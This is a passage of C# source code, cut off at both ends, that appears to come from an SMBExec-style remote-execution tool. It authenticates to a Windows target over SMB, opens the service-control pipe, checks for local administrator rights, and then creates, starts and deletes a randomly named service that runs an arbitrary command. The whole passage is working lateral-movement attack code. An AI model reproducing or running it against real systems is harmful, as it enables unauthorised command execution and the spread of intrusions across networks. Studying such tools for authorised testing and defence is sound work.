(BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 12, 15)) == \"00-00-00-00\")\n {\n if (debug) { output.AppendLine(\"Authentication Successful\"); }\n Login_Successful = true;\n }\n else\n {\n output.AppendLine(\"Unable to Authenticate to Target.\");\n Console.WriteLine(output.ToString());\n }\n }\n\n if (debug) { output.AppendLine(String.Format(\"Login Status: {0}\", Login_Successful)); }\n if (Login_Successful)\n {\n byte[] SMBExec_Command;\n byte[] SMB_Path_Bytes;\n string SMB_Path = \"\\\\\\\\\" + Target + \"\\\\IPC$\";\n\n if (ForceSMB1)\n {\n SMB_Path_Bytes = Encoding.UTF8.GetBytes(SMB_Path).Concat(new byte[] { 0x00 }).ToArray();\n }\n else\n {\n SMB_Path_Bytes = Encoding.Unicode.GetBytes(SMB_Path);\n }\n\n byte[] SMB_named_pipe_UUID = { 0x81, 0xbb, 0x7a, 0x36, 0x44, 0x98, 0xf1, 0x35, 0xad, 0x32, 0x98, 0xf0, 0x38, 0x00, 0x10, 0x03 };\n byte[] SMB_Service_Bytes;\n string SMB_Service = null;\n if (string.IsNullOrEmpty(ServiceName))\n {\n const string chars = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n var rand = new Random();\n SMB_Service = new string(Enumerable.Repeat(chars, 20).Select(s => s[rand.Next(s.Length)]).ToArray());\n SMB_Service_Bytes = Encoding.Unicode.GetBytes(SMB_Service).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n }\n else\n {\n SMB_Service = ServiceName;\n SMB_Service_Bytes = Encoding.Unicode.GetBytes(SMB_Service);\n if (Convert.ToBoolean(SMB_Service.Length % 2))\n {\n SMB_Service_Bytes = SMB_Service_Bytes.Concat(new byte[] { 0x00, 0x00 }).ToArray();\n }\n else\n {\n SMB_Service_Bytes = SMB_Service_Bytes.Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n }\n }\n if (debug) { output.AppendLine(String.Format(\"Service Name is {0}\", SMB_Service)); }\n byte[] SMB_Service_Length = BitConverter.GetBytes(SMB_Service.Length + 1);\n\n if (ComSpec)\n {\n if (debug) { output.AppendLine(\"Appending %COMSPEC% /C\"); }\n\n command = \"%COMSPEC% /C \\\"\" + command + \"\\\"\";\n }\n\n byte[] commandBytes = Encoding.UTF8.GetBytes(command);\n List SMBExec_Command_List = new List();\n foreach (byte commandByte in commandBytes)\n {\n SMBExec_Command_List.Add(commandByte);\n SMBExec_Command_List.Add(0x00);\n\n }\n byte[] SMBExec_Command_Init = SMBExec_Command_List.ToArray();\n\n if (Convert.ToBoolean(command.Length % 2))\n {\n SMBExec_Command = SMBExec_Command_Init.Concat(new byte[] { 0x00, 0x00 }).ToArray();\n }\n else\n {\n SMBExec_Command = SMBExec_Command_Init.Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n }\n byte[] SMBExec_Command_Length_bytes = BitConverter.GetBytes(SMBExec_Command.Length / 2);\n int SMB_Split_Index = 4256;\n int SMB_Signing_Counter = 0;\n byte[] SMB_Tree_ID = new byte[2];\n string SMB_Client_Stage_Next = \"\";\n if (ForceSMB1)\n {\n SMBClientStage = \"TreeConnectAndXRequest\";\n while (SMBClientStage != \"exit\" && SMBExec_Failed == false)\n {\n if (debug) { output.AppendLine(String.Format(\"Current Stage {0}\", SMBClientStage)); }\n switch (SMBClientStage)\n {\n case \"TreeConnectAndXRequest\":\n {\n Packet_SMB_Header = new OrderedDictionary();\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x75 }, new byte[] { 0x18 }, new byte[] { 0x01, 0x48 }, new byte[] { 0xff, 0xff }, Process_ID_Bytes, SMB_User_ID);\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n SMB_Signing_Counter = 2;\n SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signing_Sequence;\n }\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n Packet_SMB_Data = SMBExec.SMBTreeConnectAndXRequest(SMB_Path_Bytes);\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length);\n\n if (SMB_Signing)\n {\n SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray();\n SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign);\n SMB_Signature2 = Utilities.GetByteRange(SMB_Signature, 0, 7);\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signature2;\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n }\n\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"CreateAndXRequest\";\n }\n break;\n case \"CreateAndXRequest\":\n {\n SMB_Named_Pipe_Bytes = new byte[] { 0x5c, 0x73, 0x76, 0x63, 0x63, 0x74, 0x6c, 0x00 }; //svcctl\n SMB_Tree_ID = Utilities.GetByteRange(SMBClientReceive, 28, 29);\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0xa2 }, new byte[] { 0x18 }, new byte[] { 0x02, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID);\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n SMB_Signing_Counter += 2;\n SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signing_Sequence;\n }\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n Packet_SMB_Data = SMBExec.SMBNTCreateAndXRequest(SMB_Named_Pipe_Bytes);\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length);\n\n if (SMB_Signing)\n {\n SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray();\n SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign);\n SMB_Signature2 = Utilities.GetByteRange(SMB_Signature, 0, 7);\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signature2;\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"RPCBind\";\n\n }\n break;\n case \"RPCBind\":\n {\n SMB_FID = Utilities.GetByteRange(SMBClientReceive, 42, 43);\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID);\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n SMB_Signing_Counter += 2;\n SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signing_Sequence;\n }\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n Packet_RPC_Data = SMBExec.RPCBind(1, new byte[] { 0xb8, 0x10 }, new byte[] { 0x01 }, new byte[] { 0x00, 0x00 }, SMB_named_pipe_UUID, new byte[] { 0x02, 0x00 });\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length);\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n int RPC_Data_Length = SMB_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length);\n\n if (SMB_Signing)\n {\n SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray();\n\n SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign);\n SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7);\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signature;\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n }\n\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"ReadAndXRequest\";\n SMB_Client_Stage_Next = \"OpenSCManagerW\";\n }\n break;\n case \"ReadAndXRequest\":\n {\n Thread.Sleep(sleep * 1000);\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2e }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID);\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n SMB_Signing_Counter += 2;\n SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signing_Sequence;\n }\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n Packet_SMB_Data = SMBExec.SMBReadAndXRequest(SMB_FID);\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length);\n if (SMB_Signing)\n {\n SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).ToArray();\n SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign);\n SMB_Signature2 = Utilities.GetByteRange(SMB_Signature, 0, 7);\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signature2;\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = SMB_Client_Stage_Next;\n }\n break;\n\n case \"OpenSCManagerW\":\n {\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID);\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n SMB_Signing_Counter += 2;\n SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signing_Sequence;\n }\n\n Packet_SCM_Data = SMBExec.SCMOpenSCManagerW(SMB_Service_Bytes, SMB_Service_Length);\n SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data);\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x01, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0f, 0x00 }, null);\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, (RPC_Data.Length + SCM_Data.Length));\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n int RPC_Data_Length = SMB_Data.Length + SCM_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length);\n\n if (SMB_Signing)\n {\n SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign);\n SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7);\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signature;\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"ReadAndXRequest\";\n SMB_Client_Stage_Next = \"CheckAccess\";\n }\n break;\n case \"CheckAccess\":\n {\n if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 108, 111)) == \"00-00-00-00\" && BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 88, 107)) != \"00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00\")\n {\n SMB_Service_Manager_Context_Handle = Utilities.GetByteRange(SMBClientReceive, 88, 107);\n if (SMB_execute)\n {\n Packet_SCM_Data = SMBExec.SCMCreateServiceW(SMB_Service_Manager_Context_Handle, SMB_Service_Bytes, SMB_Service_Length, SMBExec_Command, SMBExec_Command_Length_bytes);\n SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data);\n if (SCM_Data.Length < SMB_Split_Index)\n {\n SMBClientStage = \"CreateServiceW\";\n }\n else\n {\n SMBClientStage = \"CreateServiceW_First\";\n }\n }\n else\n {\n output.AppendLine(String.Format(\"{0} is a local administrator on {1}\", Output_Username, Target));\n SMB_Close_Service_Handle_Stage = 2;\n SMBClientStage = \"CloseServiceHandle\";\n }\n\n }\n else if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 108, 111)) == \"05-00-00-00\")\n {\n output.AppendLine(String.Format(\"{0} is not a local administrator or does not have the required privileges on {1}\", Output_Username, Target));\n Console.WriteLine(output.ToString());\n }\n else\n {\n if (debug)\n {\n output.AppendLine(BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 108, 111)));\n output.AppendLine(BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 88, 107)));\n }\n output.AppendLine(String.Format(\"Something went wrong with {0}\", Target));\n Console.WriteLine(output.ToString());\n }\n\n }\n\n break;\n\n case \"CreateServiceW\":\n {\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID);\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n SMB_Signing_Counter += 2;\n SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signing_Sequence;\n }\n\n Packet_SCM_Data = SMBExec.SCMCreateServiceW(SMB_Service_Manager_Context_Handle, SMB_Service_Bytes, SMB_Service_Length, SMBExec_Command, SMBExec_Command_Length_bytes);\n SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data);\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x02, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, null);\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length + SCM_Data.Length);\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n int RPC_Data_Length = SMB_Data.Length + SCM_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length);\n\n if (SMB_Signing)\n {\n SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign);\n SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7);\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signature;\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"ReadAndXRequest\";\n SMB_Client_Stage_Next = \"StartServiceW\";\n }\n break;\n case \"CreateServiceW_First\":\n {\n SMB_Split_Stage_final = Math.Ceiling((double)SCM_Data.Length / SMB_Split_Index);\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID);\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n SMB_Signing_Counter += 2;\n SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signing_Sequence;\n }\n byte[] SCM_Data_First = Utilities.GetByteRange(SCM_Data, 0, SMB_Split_Index - 1);\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x01 }, 0, 0, 0, new byte[] { 0x02, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, SCM_Data_First);\n Packet_RPC_Data[\"RPCRequest_AllocHint\"] = BitConverter.GetBytes(SCM_Data.Length);\n SMB_Split_Index_Tracker = SMB_Split_Index;\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length);\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n int RPC_Data_Length = SMB_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length);\n\n if (SMB_Signing)\n {\n SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray();\n SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign);\n SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7);\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signature;\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n if (SMB_Split_Stage_final <= 2)\n {\n SMBClientStage = \"CreateServiceW_Last\";\n }\n else\n {\n SMB_Split_Stage = 2;\n SMBClientStage = \"CreateServiceW_Middle\";\n }\n }\n break;\n case \"CreateServiceW_Middle\":\n {\n SMB_Split_Stage++;\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID);\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n SMB_Signing_Counter += 2;\n SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signing_Sequence;\n }\n byte[] SCM_Data_Middle = Utilities.GetByteRange(SCM_Data, SMB_Split_Index_Tracker, SMB_Split_Index_Tracker + SMB_Split_Index - 1);\n SMB_Split_Index_Tracker += SMB_Split_Index;\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x00 }, 0, 0, 0, new byte[] { 0x02, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, SCM_Data_Middle);\n Packet_RPC_Data[\"RPCRequest_AllocHint\"] = BitConverter.GetBytes(SCM_Data.Length - SMB_Split_Index_Tracker + SMB_Split_Index);\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length);\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n int RPC_Data_Length = SMB_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length);\n\n if (SMB_Signing)\n {\n SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray();\n SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign);\n SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7);\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signature;\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n if (SMB_Split_Stage >= SMB_Split_Stage_final)\n {\n SMBClientStage = \"CreateServiceW_Last\";\n }\n else\n {\n SMBClientStage = \"CreateServiceW_Middle\";\n }\n\n }\n break;\n\n case \"CreateServiceW_Last\":\n {\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x48 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID);\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n SMB_Signing_Counter += 2;\n SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signing_Sequence;\n }\n byte[] SCM_Data_Last = Utilities.GetByteRange(SCM_Data, SMB_Split_Index_Tracker, SCM_Data.Length);\n SMB_Split_Index_Tracker += SMB_Split_Index;\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x02 }, 0, 0, 0, new byte[] { 0x02, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x0c, 0x00 }, SCM_Data_Last);\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length);\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n int RPC_Data_Length = SMB_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length);\n\n if (SMB_Signing)\n {\n SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray();\n SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign);\n SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7);\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signature;\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"ReadAndXRequest\";\n SMB_Client_Stage_Next = \"StartServiceW\";\n }\n break;\n\n case \"StartServiceW\":\n {\n if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 112, 115)) == \"00-00-00-00\")\n {\n SMB_Service_Context_Handle = Utilities.GetByteRange(SMBClientReceive, 92, 111);\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID);\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n SMB_Signing_Counter += 2;\n SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signing_Sequence;\n }\n Packet_SCM_Data = SMBExec.SCMStartServiceW(SMB_Service_Context_Handle);\n SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data);\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x03, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x13, 0x00 }, null);\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length + SCM_Data.Length);\n SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data);\n int RPC_Data_Length = SMB_Data.Length + SCM_Data.Length + RPC_Data.Length;\n NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, RPC_Data_Length);\n\n if (SMB_Signing)\n {\n SMB_Sign = Session_Key.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMB_Signature = MD5Crypto.ComputeHash(SMB_Sign);\n SMB_Signature = Utilities.GetByteRange(SMB_Signature, 0, 7);\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signature;\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n }\n SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).Concat(RPC_Data).Concat(SCM_Data).ToArray();\n SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send);\n SMBClientStage = \"ReadAndXRequest\";\n SMB_Client_Stage_Next = \"DeleteServiceW\";\n }\n else if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 112, 115)) == \"31-04-00-00\")\n {\n output.AppendLine(String.Format(\"Service {0} creation failed on {1}\", SMB_Service, Target));\n Console.WriteLine(output.ToString());\n }\n else\n {\n output.AppendLine(\"Service Creation Fault Context Mismatch\");\n Console.WriteLine(output.ToString());\n }\n }\n break;\n case \"DeleteServiceW\":\n {\n if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 88, 91)) == \"1D-04-00-00\")\n {\n if (debug) { output.AppendLine(String.Format(\"Command Executed with ServiceName: {0} on {1}\", SMB_Service, Target)); }\n }\n else if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 88, 91)) == \"02-00-00-00\")\n {\n SMBExec_Failed = true;\n if (debug) { output.AppendLine(String.Format(\"Service {0} failed to start on {1}\", SMB_Service, Target)); }\n }\n Packet_SMB_Header = SMBExec.SMBHeader(new byte[] { 0x2f }, new byte[] { 0x18 }, new byte[] { 0x05, 0x28 }, SMB_Tree_ID, Process_ID_Bytes, SMB_User_ID);\n\n if (SMB_Signing)\n {\n Packet_SMB_Header[\"SMBHeader_Flags2\"] = new byte[] { 0x05, 0x48 };\n SMB_Signing_Counter += 2;\n SMB_Signing_Sequence = BitConverter.GetBytes(SMB_Signing_Counter).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray();\n Packet_SMB_Header[\"SMBHeader_Signature\"] = SMB_Signing_Sequence;\n }\n\n Packet_SCM_Data = SMBExec.SCMDeleteServiceW(SMB_Service_Context_Handle);\n SCM_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SCM_Data);\n Packet_RPC_Data = SMBExec.RPCRequest(new byte[] { 0x03 }, SCM_Data.Length, 0, 0, new byte[] { 0x04, 0x00, 0x00, 0x00 }, new byte[] { 0x00, 0x00 }, new byte[] { 0x02, 0x00 }, null);\n RPC_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_RPC_Data);\n SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header);\n Packet_SMB_Data = SMBExec.SMBWriteAndXRequest(SMB_FID, RPC_Data.Length + SCM_Data.Length);\n SMB_Data 